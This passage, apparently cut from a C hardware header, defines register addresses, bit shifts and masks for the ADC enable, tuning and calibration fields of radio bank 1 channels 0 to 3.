#define RADIO_BK1_CH0_ADC_TUNE0_IDAC_RST_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE0_SHORTRST_SHIFT 3
#define RADIO_BK1_CH0_ADC_TUNE0_SHORTRST_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE0_FBRST_SHIFT 4
#define RADIO_BK1_CH0_ADC_TUNE0_FBRST_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE1 0x37
#define RADIO_BK1_CH0_ADC_TUNE1_BUFFER_IBSEL_SHIFT 0
#define RADIO_BK1_CH0_ADC_TUNE1_BUFFER_IBSEL_MASK 0x7
#define RADIO_BK1_CH0_ADC_TUNE1_BUFFER_IBSEL_SPARE_SHIFT 3
#define RADIO_BK1_CH0_ADC_TUNE1_BUFFER_IBSEL_SPARE_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE1_BUFFER_VCMSEL_SHIFT 4
#define RADIO_BK1_CH0_ADC_TUNE1_BUFFER_VCMSEL_MASK 0x7
#define RADIO_BK1_CH0_ADC_TUNE2 0x38
#define RADIO_BK1_CH0_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_SHIFT 0
#define RADIO_BK1_CH0_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_MASK 0x7
#define RADIO_BK1_CH0_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_SPARE_SHIFT 3
#define RADIO_BK1_CH0_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_SPARE_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE2_BUFFER_CAPSEL_SHIFT 4
#define RADIO_BK1_CH0_ADC_TUNE2_BUFFER_CAPSEL_MASK 0x3
#define RADIO_BK1_CH0_ADC_TUNE3 0x39
#define RADIO_BK1_CH0_ADC_TUNE3_EXTCAPSEL_SHIFT 0
#define RADIO_BK1_CH0_ADC_TUNE3_EXTCAPSEL_MASK 0x3f
#define RADIO_BK1_CH0_ADC_TUNE3_EXTCAP_EN_SHIFT 6
#define RADIO_BK1_CH0_ADC_TUNE3_EXTCAP_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE4 0x3a
#define RADIO_BK1_CH0_ADC_TUNE4_IDAC3_IBSEL_SHIFT 0
#define RADIO_BK1_CH0_ADC_TUNE4_IDAC3_IBSEL_MASK 0xf
#define RADIO_BK1_CH0_ADC_TUNE4_IDAC1_IBSEL_SHIFT 4
#define RADIO_BK1_CH0_ADC_TUNE4_IDAC1_IBSEL_MASK 0xf
#define RADIO_BK1_CH0_ADC_TUNE5 0x3b
#define RADIO_BK1_CH0_ADC_TUNE5_OP2_IBSEL_SHIFT 0
#define RADIO_BK1_CH0_ADC_TUNE5_OP2_IBSEL_MASK 0xf
#define RADIO_BK1_CH0_ADC_TUNE5_OP1_IBSEL_SHIFT 4
#define RADIO_BK1_CH0_ADC_TUNE5_OP1_IBSEL_MASK 0xf
#define RADIO_BK1_CH0_ADC_TUNE6 0x3c
#define RADIO_BK1_CH0_ADC_TUNE6_OP3_IBSEL_SHIFT 0
#define RADIO_BK1_CH0_ADC_TUNE6_OP3_IBSEL_MASK 0xf
#define RADIO_BK1_CH0_ADC_TUNE6_VOCM1_SEL_SHIFT 4
#define RADIO_BK1_CH0_ADC_TUNE6_VOCM1_SEL_MASK 0x7
#define RADIO_BK1_CH0_ADC_TUNE7 0x3d
#define RADIO_BK1_CH0_ADC_TUNE7_VOCM3_SEL_SHIFT 0
#define RADIO_BK1_CH0_ADC_TUNE7_VOCM3_SEL_MASK 0x7
#define RADIO_BK1_CH0_ADC_TUNE7_VOCM3_SPARE_SHIFT 3
#define RADIO_BK1_CH0_ADC_TUNE7_VOCM3_SPARE_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE7_VOCM2_SEL_SHIFT 4
#define RADIO_BK1_CH0_ADC_TUNE7_VOCM2_SEL_MASK 0x7
#define RADIO_BK1_CH0_ADC_TUNE8 0x3e
#define RADIO_BK1_CH0_ADC_TUNE8_BASEREF_SEL_SHIFT 0
#define RADIO_BK1_CH0_ADC_TUNE8_BASEREF_SEL_MASK 0x7
#define RADIO_BK1_CH0_ADC_TUNE8_BASEREF_SPARE_SHIFT 3
#define RADIO_BK1_CH0_ADC_TUNE8_BASEREF_SPARE_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE8_REF_SEL_SHIFT 4
#define RADIO_BK1_CH0_ADC_TUNE8_REF_SEL_MASK 0x7
#define RADIO_BK1_CH0_ADC_TUNE9 0x3f
#define RADIO_BK1_CH0_ADC_TUNE9_TSTMUX_SEL_SHIFT 0
#define RADIO_BK1_CH0_ADC_TUNE9_TSTMUX_SEL_MASK 0x7
#define RADIO_BK1_CH0_ADC_TUNE9_VTHBUF_CAPSEL_SHIFT 3
#define RADIO_BK1_CH0_ADC_TUNE9_VTHBUF_CAPSEL_MASK 0x3
#define RADIO_BK1_CH0_ADC_TUNE9_VTHBUF_IBSEL_SHIFT 5
#define RADIO_BK1_CH0_ADC_TUNE9_VTHBUF_IBSEL_MASK 0x7
#define RADIO_BK1_CH0_ADC_TUNE10 0x40
#define RADIO_BK1_CH0_ADC_TUNE10_SATDET_EN_SHIFT 0
#define RADIO_BK1_CH0_ADC_TUNE10_SATDET_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE10_MUXIN_EN_SHIFT 1
#define RADIO_BK1_CH0_ADC_TUNE10_MUXIN_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE10_CMP_VCALREF_SEL_SHIFT 2
#define RADIO_BK1_CH0_ADC_TUNE10_CMP_VCALREF_SEL_MASK 0x3
#define RADIO_BK1_CH0_ADC_TUNE10_VTHBUF_IADD_EN_SHIFT 4
#define RADIO_BK1_CH0_ADC_TUNE10_VTHBUF_IADD_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE10_CMP_OSCALIB_CLKEN_SHIFT 5
#define RADIO_BK1_CH0_ADC_TUNE10_CMP_OSCALIB_CLKEN_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE11 0x41
#define RADIO_BK1_CH0_ADC_TUNE11_SPARE_SHIFT 0
#define RADIO_BK1_CH0_ADC_TUNE11_SPARE_MASK 0xf
#define RADIO_BK1_CH0_ADC_TUNE11_CMP_OSCALIB_START_SHIFT 4
#define RADIO_BK1_CH0_ADC_TUNE11_CMP_OSCALIB_START_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE11_CMP_OSCALIB_EN_SHIFT 5
#define RADIO_BK1_CH0_ADC_TUNE11_CMP_OSCALIB_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE11_CMP_OSCALIB_SHORT2VCM_EN_SHIFT 6
#define RADIO_BK1_CH0_ADC_TUNE11_CMP_OSCALIB_SHORT2VCM_EN_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE11_CMP_OSCALIB_PN_SHIFT 7
#define RADIO_BK1_CH0_ADC_TUNE11_CMP_OSCALIB_PN_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE12 0x42
#define RADIO_BK1_CH0_ADC_TUNE12_SATDET_SHIFT 0
#define RADIO_BK1_CH0_ADC_TUNE12_SATDET_MASK 0x1
#define RADIO_BK1_CH0_ADC_TUNE12_CMP_OSCALIB_ALLREADY_SHIFT 1
#define RADIO_BK1_CH0_ADC_TUNE12_CMP_OSCALIB_ALLREADY_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN0 0x43
#define RADIO_BK1_CH1_ADC_EN0_OP3_EN_SHIFT 0
#define RADIO_BK1_CH1_ADC_EN0_OP3_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN0_OP2_EN_SHIFT 1
#define RADIO_BK1_CH1_ADC_EN0_OP2_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN0_OP1_EN_SHIFT 2
#define RADIO_BK1_CH1_ADC_EN0_OP1_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN0_ANALS_EN_SHIFT 3
#define RADIO_BK1_CH1_ADC_EN0_ANALS_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN0_BUFFER_VCMBUF_EN_SHIFT 4
#define RADIO_BK1_CH1_ADC_EN0_BUFFER_VCMBUF_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN0_BUFFER_EN_SHIFT 5
#define RADIO_BK1_CH1_ADC_EN0_BUFFER_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN0_RST_SHIFT 6
#define RADIO_BK1_CH1_ADC_EN0_RST_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN0_BW20M_EN_SHIFT 7
#define RADIO_BK1_CH1_ADC_EN0_BW20M_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN1 0x44
#define RADIO_BK1_CH1_ADC_EN1_ZEROSEL_SHIFT 0
#define RADIO_BK1_CH1_ADC_EN1_ZEROSEL_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN1_REFNBUF_EN_SHIFT 1
#define RADIO_BK1_CH1_ADC_EN1_REFNBUF_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN1_REFPBUF_EN_SHIFT 2
#define RADIO_BK1_CH1_ADC_EN1_REFPBUF_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN1_ESL_EN_SHIFT 3
#define RADIO_BK1_CH1_ADC_EN1_ESL_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN1_IDAC3_EN_SHIFT 4
#define RADIO_BK1_CH1_ADC_EN1_IDAC3_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN1_IDAC1_EN_SHIFT 5
#define RADIO_BK1_CH1_ADC_EN1_IDAC1_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN1_BIAS_EN_SHIFT 6
#define RADIO_BK1_CH1_ADC_EN1_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_EN1_CMP_VCALREF_EN_SHIFT 7
#define RADIO_BK1_CH1_ADC_EN1_CMP_VCALREF_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE0 0x45
#define RADIO_BK1_CH1_ADC_TUNE0_OP_SHORTRST_SHIFT 0
#define RADIO_BK1_CH1_ADC_TUNE0_OP_SHORTRST_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE0_OP_FBRST_SHIFT 1
#define RADIO_BK1_CH1_ADC_TUNE0_OP_FBRST_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE0_IDAC_RST_SHIFT 2
#define RADIO_BK1_CH1_ADC_TUNE0_IDAC_RST_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE0_SHORTRST_SHIFT 3
#define RADIO_BK1_CH1_ADC_TUNE0_SHORTRST_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE0_FBRST_SHIFT 4
#define RADIO_BK1_CH1_ADC_TUNE0_FBRST_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE1 0x46
#define RADIO_BK1_CH1_ADC_TUNE1_BUFFER_IBSEL_SHIFT 0
#define RADIO_BK1_CH1_ADC_TUNE1_BUFFER_IBSEL_MASK 0x7
#define RADIO_BK1_CH1_ADC_TUNE1_BUFFER_IBSEL_SPARE_SHIFT 3
#define RADIO_BK1_CH1_ADC_TUNE1_BUFFER_IBSEL_SPARE_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE1_BUFFER_VCMSEL_SHIFT 4
#define RADIO_BK1_CH1_ADC_TUNE1_BUFFER_VCMSEL_MASK 0x7
#define RADIO_BK1_CH1_ADC_TUNE2 0x47
#define RADIO_BK1_CH1_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_SHIFT 0
#define RADIO_BK1_CH1_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_MASK 0x7
#define RADIO_BK1_CH1_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_SPARE_SHIFT 3
#define RADIO_BK1_CH1_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_SPARE_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE2_BUFFER_CAPSEL_SHIFT 4
#define RADIO_BK1_CH1_ADC_TUNE2_BUFFER_CAPSEL_MASK 0x3
#define RADIO_BK1_CH1_ADC_TUNE3 0x48
#define RADIO_BK1_CH1_ADC_TUNE3_EXTCAPSEL_SHIFT 0
#define RADIO_BK1_CH1_ADC_TUNE3_EXTCAPSEL_MASK 0x3f
#define RADIO_BK1_CH1_ADC_TUNE3_EXTCAP_EN_SHIFT 6
#define RADIO_BK1_CH1_ADC_TUNE3_EXTCAP_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE4 0x49
#define RADIO_BK1_CH1_ADC_TUNE4_IDAC3_IBSEL_SHIFT 0
#define RADIO_BK1_CH1_ADC_TUNE4_IDAC3_IBSEL_MASK 0xf
#define RADIO_BK1_CH1_ADC_TUNE4_IDAC1_IBSEL_SHIFT 4
#define RADIO_BK1_CH1_ADC_TUNE4_IDAC1_IBSEL_MASK 0xf
#define RADIO_BK1_CH1_ADC_TUNE5 0x4a
#define RADIO_BK1_CH1_ADC_TUNE5_OP2_IBSEL_SHIFT 0
#define RADIO_BK1_CH1_ADC_TUNE5_OP2_IBSEL_MASK 0xf
#define RADIO_BK1_CH1_ADC_TUNE5_OP1_IBSEL_SHIFT 4
#define RADIO_BK1_CH1_ADC_TUNE5_OP1_IBSEL_MASK 0xf
#define RADIO_BK1_CH1_ADC_TUNE6 0x4b
#define RADIO_BK1_CH1_ADC_TUNE6_OP3_IBSEL_SHIFT 0
#define RADIO_BK1_CH1_ADC_TUNE6_OP3_IBSEL_MASK 0xf
#define RADIO_BK1_CH1_ADC_TUNE6_VOCM1_SEL_SHIFT 4
#define RADIO_BK1_CH1_ADC_TUNE6_VOCM1_SEL_MASK 0x7
#define RADIO_BK1_CH1_ADC_TUNE7 0x4c
#define RADIO_BK1_CH1_ADC_TUNE7_VOCM3_SEL_SHIFT 0
#define RADIO_BK1_CH1_ADC_TUNE7_VOCM3_SEL_MASK 0x7
#define RADIO_BK1_CH1_ADC_TUNE7_VOCM3_SEL_SPARE_SHIFT 3
#define RADIO_BK1_CH1_ADC_TUNE7_VOCM3_SEL_SPARE_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE7_VOCM2_SEL_SHIFT 4
#define RADIO_BK1_CH1_ADC_TUNE7_VOCM2_SEL_MASK 0x7
#define RADIO_BK1_CH1_ADC_TUNE8 0x4d
#define RADIO_BK1_CH1_ADC_TUNE8_BASEREF_SEL_SHIFT 0
#define RADIO_BK1_CH1_ADC_TUNE8_BASEREF_SEL_MASK 0x7
#define RADIO_BK1_CH1_ADC_TUNE8_BASEREF_SEL_SPARE_SHIFT 3
#define RADIO_BK1_CH1_ADC_TUNE8_BASEREF_SEL_SPARE_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE8_REF_SEL_SHIFT 4
#define RADIO_BK1_CH1_ADC_TUNE8_REF_SEL_MASK 0x7
#define RADIO_BK1_CH1_ADC_TUNE9 0x4e
#define RADIO_BK1_CH1_ADC_TUNE9_TSTMUX_SEL_SHIFT 0
#define RADIO_BK1_CH1_ADC_TUNE9_TSTMUX_SEL_MASK 0x7
#define RADIO_BK1_CH1_ADC_TUNE9_VTHBUF_CAPSEL_SHIFT 3
#define RADIO_BK1_CH1_ADC_TUNE9_VTHBUF_CAPSEL_MASK 0x3
#define RADIO_BK1_CH1_ADC_TUNE9_VTHBUF_IBSEL_SHIFT 5
#define RADIO_BK1_CH1_ADC_TUNE9_VTHBUF_IBSEL_MASK 0x7
#define RADIO_BK1_CH1_ADC_TUNE10 0x4f
#define RADIO_BK1_CH1_ADC_TUNE10_SATDET_EN_SHIFT 0
#define RADIO_BK1_CH1_ADC_TUNE10_SATDET_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE10_MUXIN_EN_SHIFT 1
#define RADIO_BK1_CH1_ADC_TUNE10_MUXIN_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE10_CMP_VCALREF_SEL_SHIFT 2
#define RADIO_BK1_CH1_ADC_TUNE10_CMP_VCALREF_SEL_MASK 0x3
#define RADIO_BK1_CH1_ADC_TUNE10_VTHBUF_IADD_EN_SHIFT 4
#define RADIO_BK1_CH1_ADC_TUNE10_VTHBUF_IADD_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE10_CMP_OSCALIB_CLKEN_SHIFT 5
#define RADIO_BK1_CH1_ADC_TUNE10_CMP_OSCALIB_CLKEN_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE11 0x50
#define RADIO_BK1_CH1_ADC_TUNE11_SPARE_SHIFT 0
#define RADIO_BK1_CH1_ADC_TUNE11_SPARE_MASK 0xf
#define RADIO_BK1_CH1_ADC_TUNE11_CMP_OSCALIB_START_SHIFT 4
#define RADIO_BK1_CH1_ADC_TUNE11_CMP_OSCALIB_START_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE11_CMP_OSCALIB_EN_SHIFT 5
#define RADIO_BK1_CH1_ADC_TUNE11_CMP_OSCALIB_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE11_CMP_OSCALIB_SHORT2VCM_EN_SHIFT 6
#define RADIO_BK1_CH1_ADC_TUNE11_CMP_OSCALIB_SHORT2VCM_EN_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE11_CMP_OSCALIB_PN_SHIFT 7
#define RADIO_BK1_CH1_ADC_TUNE11_CMP_OSCALIB_PN_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE12 0x51
#define RADIO_BK1_CH1_ADC_TUNE12_SATDET_SHIFT 0
#define RADIO_BK1_CH1_ADC_TUNE12_SATDET_MASK 0x1
#define RADIO_BK1_CH1_ADC_TUNE12_CMP_OSCALIB_ALLREADY_SHIFT 1
#define RADIO_BK1_CH1_ADC_TUNE12_CMP_OSCALIB_ALLREADY_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN0 0x52
#define RADIO_BK1_CH2_ADC_EN0_OP3_EN_SHIFT 0
#define RADIO_BK1_CH2_ADC_EN0_OP3_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN0_OP2_EN_SHIFT 1
#define RADIO_BK1_CH2_ADC_EN0_OP2_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN0_OP1_EN_SHIFT 2
#define RADIO_BK1_CH2_ADC_EN0_OP1_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN0_ANALS_EN_SHIFT 3
#define RADIO_BK1_CH2_ADC_EN0_ANALS_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN0_BUFFER_VCMBUF_EN_SHIFT 4
#define RADIO_BK1_CH2_ADC_EN0_BUFFER_VCMBUF_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN0_BUFFER_EN_SHIFT 5
#define RADIO_BK1_CH2_ADC_EN0_BUFFER_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN0_RST_SHIFT 6
#define RADIO_BK1_CH2_ADC_EN0_RST_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN0_BW20M_EN_SHIFT 7
#define RADIO_BK1_CH2_ADC_EN0_BW20M_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN1 0x53
#define RADIO_BK1_CH2_ADC_EN1_ZEROSEL_SHIFT 0
#define RADIO_BK1_CH2_ADC_EN1_ZEROSEL_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN1_REFNBUF_EN_SHIFT 1
#define RADIO_BK1_CH2_ADC_EN1_REFNBUF_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN1_REFPBUF_EN_SHIFT 2
#define RADIO_BK1_CH2_ADC_EN1_REFPBUF_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN1_ESL_EN_SHIFT 3
#define RADIO_BK1_CH2_ADC_EN1_ESL_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN1_IDAC3_EN_SHIFT 4
#define RADIO_BK1_CH2_ADC_EN1_IDAC3_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN1_IDAC1_EN_SHIFT 5
#define RADIO_BK1_CH2_ADC_EN1_IDAC1_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN1_BIAS_EN_SHIFT 6
#define RADIO_BK1_CH2_ADC_EN1_BIAS_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_EN1_CMP_VCALREF_EN_SHIFT 7
#define RADIO_BK1_CH2_ADC_EN1_CMP_VCALREF_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE0 0x54
#define RADIO_BK1_CH2_ADC_TUNE0_OP_SHORTRST_SHIFT 0
#define RADIO_BK1_CH2_ADC_TUNE0_OP_SHORTRST_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE0_OP_FBRST_SHIFT 1
#define RADIO_BK1_CH2_ADC_TUNE0_OP_FBRST_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE0_IDAC_RST_SHIFT 2
#define RADIO_BK1_CH2_ADC_TUNE0_IDAC_RST_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE0_SHORTRST_SHIFT 3
#define RADIO_BK1_CH2_ADC_TUNE0_SHORTRST_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE0_FBRST_SHIFT 4
#define RADIO_BK1_CH2_ADC_TUNE0_FBRST_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE1 0x55
#define RADIO_BK1_CH2_ADC_TUNE1_BUFFER_IBSEL_SHIFT 0
#define RADIO_BK1_CH2_ADC_TUNE1_BUFFER_IBSEL_MASK 0x7
#define RADIO_BK1_CH2_ADC_TUNE1_BUFFER_IBSEL_SPARE_SHIFT 3
#define RADIO_BK1_CH2_ADC_TUNE1_BUFFER_IBSEL_SPARE_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE1_BUFFER_VCMSEL_SHIFT 4
#define RADIO_BK1_CH2_ADC_TUNE1_BUFFER_VCMSEL_MASK 0x7
#define RADIO_BK1_CH2_ADC_TUNE2 0x56
#define RADIO_BK1_CH2_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_SHIFT 0
#define RADIO_BK1_CH2_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_MASK 0x7
#define RADIO_BK1_CH2_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_SPARE_SHIFT 3
#define RADIO_BK1_CH2_ADC_TUNE2_BUFFER_VCMBUF_IBSEL_SPARE_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE2_BUFFER_CAPSEL_SHIFT 4
#define RADIO_BK1_CH2_ADC_TUNE2_BUFFER_CAPSEL_MASK 0x3
#define RADIO_BK1_CH2_ADC_TUNE3 0x57
#define RADIO_BK1_CH2_ADC_TUNE3_EXTCAPSEL_SHIFT 0
#define RADIO_BK1_CH2_ADC_TUNE3_EXTCAPSEL_MASK 0x3f
#define RADIO_BK1_CH2_ADC_TUNE3_EXTCAP_EN_SHIFT 6
#define RADIO_BK1_CH2_ADC_TUNE3_EXTCAP_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE4 0x58
#define RADIO_BK1_CH2_ADC_TUNE4_IDAC3_IBSEL_SHIFT 0
#define RADIO_BK1_CH2_ADC_TUNE4_IDAC3_IBSEL_MASK 0xf
#define RADIO_BK1_CH2_ADC_TUNE4_IDAC1_IBSEL_SHIFT 4
#define RADIO_BK1_CH2_ADC_TUNE4_IDAC1_IBSEL_MASK 0xf
#define RADIO_BK1_CH2_ADC_TUNE5 0x59
#define RADIO_BK1_CH2_ADC_TUNE5_OP2_IBSEL_SHIFT 0
#define RADIO_BK1_CH2_ADC_TUNE5_OP2_IBSEL_MASK 0xf
#define RADIO_BK1_CH2_ADC_TUNE5_OP1_IBSEL_SHIFT 4
#define RADIO_BK1_CH2_ADC_TUNE5_OP1_IBSEL_MASK 0xf
#define RADIO_BK1_CH2_ADC_TUNE6 0x5a
#define RADIO_BK1_CH2_ADC_TUNE6_OP3_IBSEL_SHIFT 0
#define RADIO_BK1_CH2_ADC_TUNE6_OP3_IBSEL_MASK 0xf
#define RADIO_BK1_CH2_ADC_TUNE6_VOCM1_SEL_SHIFT 4
#define RADIO_BK1_CH2_ADC_TUNE6_VOCM1_SEL_MASK 0x7
#define RADIO_BK1_CH2_ADC_TUNE7 0x5b
#define RADIO_BK1_CH2_ADC_TUNE7_VOCM3_SEL_SHIFT 0
#define RADIO_BK1_CH2_ADC_TUNE7_VOCM3_SEL_MASK 0x7
#define RADIO_BK1_CH2_ADC_TUNE7_VOCM3_SEL_SPARE_SHIFT 3
#define RADIO_BK1_CH2_ADC_TUNE7_VOCM3_SEL_SPARE_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE7_VOCM2_SEL_SHIFT 4
#define RADIO_BK1_CH2_ADC_TUNE7_VOCM2_SEL_MASK 0x7
#define RADIO_BK1_CH2_ADC_TUNE8 0x5c
#define RADIO_BK1_CH2_ADC_TUNE8_BASEREF_SEL_SHIFT 0
#define RADIO_BK1_CH2_ADC_TUNE8_BASEREF_SEL_MASK 0x7
#define RADIO_BK1_CH2_ADC_TUNE8_BASEREF_SEL_SPARE_SHIFT 3
#define RADIO_BK1_CH2_ADC_TUNE8_BASEREF_SEL_SPARE_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE8_REF_SEL_SHIFT 4
#define RADIO_BK1_CH2_ADC_TUNE8_REF_SEL_MASK 0x7
#define RADIO_BK1_CH2_ADC_TUNE9 0x5d
#define RADIO_BK1_CH2_ADC_TUNE9_TSTMUX_SEL_SHIFT 0
#define RADIO_BK1_CH2_ADC_TUNE9_TSTMUX_SEL_MASK 0x7
#define RADIO_BK1_CH2_ADC_TUNE9_VTHBUF_CAPSEL_SHIFT 3
#define RADIO_BK1_CH2_ADC_TUNE9_VTHBUF_CAPSEL_MASK 0x3
#define RADIO_BK1_CH2_ADC_TUNE9_VTHBUF_IBSEL_SHIFT 5
#define RADIO_BK1_CH2_ADC_TUNE9_VTHBUF_IBSEL_MASK 0x7
#define RADIO_BK1_CH2_ADC_TUNE10 0x5e
#define RADIO_BK1_CH2_ADC_TUNE10_SATDET_EN_SHIFT 0
#define RADIO_BK1_CH2_ADC_TUNE10_SATDET_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE10_MUXIN_EN_SHIFT 1
#define RADIO_BK1_CH2_ADC_TUNE10_MUXIN_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE10_CMP_VCALREF_SEL_SHIFT 2
#define RADIO_BK1_CH2_ADC_TUNE10_CMP_VCALREF_SEL_MASK 0x3
#define RADIO_BK1_CH2_ADC_TUNE10_VTHBUF_IADD_EN_SHIFT 4
#define RADIO_BK1_CH2_ADC_TUNE10_VTHBUF_IADD_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE10_CMP_OSCALIB_CLKEN_SHIFT 5
#define RADIO_BK1_CH2_ADC_TUNE10_CMP_OSCALIB_CLKEN_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE11 0x5f
#define RADIO_BK1_CH2_ADC_TUNE11_SPARE_SHIFT 0
#define RADIO_BK1_CH2_ADC_TUNE11_SPARE_MASK 0xf
#define RADIO_BK1_CH2_ADC_TUNE11_CMP_OSCALIB_START_SHIFT 4
#define RADIO_BK1_CH2_ADC_TUNE11_CMP_OSCALIB_START_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE11_CMP_OSCALIB_EN_SHIFT 5
#define RADIO_BK1_CH2_ADC_TUNE11_CMP_OSCALIB_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE11_CMP_OSCALIB_SHORT2VCM_EN_SHIFT 6
#define RADIO_BK1_CH2_ADC_TUNE11_CMP_OSCALIB_SHORT2VCM_EN_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE11_CMP_OSCALIB_PN_SHIFT 7
#define RADIO_BK1_CH2_ADC_TUNE11_CMP_OSCALIB_PN_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE12 0x60
#define RADIO_BK1_CH2_ADC_TUNE12_SATDET_SHIFT 0
#define RADIO_BK1_CH2_ADC_TUNE12_SATDET_MASK 0x1
#define RADIO_BK1_CH2_ADC_TUNE12_CMP_OSCALIB_ALLREADY_SHIFT 1
#define RADIO_BK1_CH2_ADC_TUNE12_CMP_OSCALIB_ALLREADY_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN0 0x61
#define RADIO_BK1_CH3_ADC_EN0_OP3_EN_SHIFT 0
#define RADIO_BK1_CH3_ADC_EN0_OP3_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN0_OP2_EN_SHIFT 1
#define RADIO_BK1_CH3_ADC_EN0_OP2_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN0_OP1_EN_SHIFT 2
#define RADIO_BK1_CH3_ADC_EN0_OP1_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN0_ANALS_EN_SHIFT 3
#define RADIO_BK1_CH3_ADC_EN0_ANALS_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN0_BUFFER_VCMBUF_EN_SHIFT 4
#define RADIO_BK1_CH3_ADC_EN0_BUFFER_VCMBUF_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN0_BUFFER_EN_SHIFT 5
#define RADIO_BK1_CH3_ADC_EN0_BUFFER_EN_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN0_RST_SHIFT 6
#define RADIO_BK1_CH3_ADC_EN0_RST_MASK 0x1
#define RADIO_BK1_CH3_ADC_EN0_BW20M_EN_SHIFT 7
#define RADIO_BK1_CH3_ADC_EN0_BW20M_EN_MASK 0x1
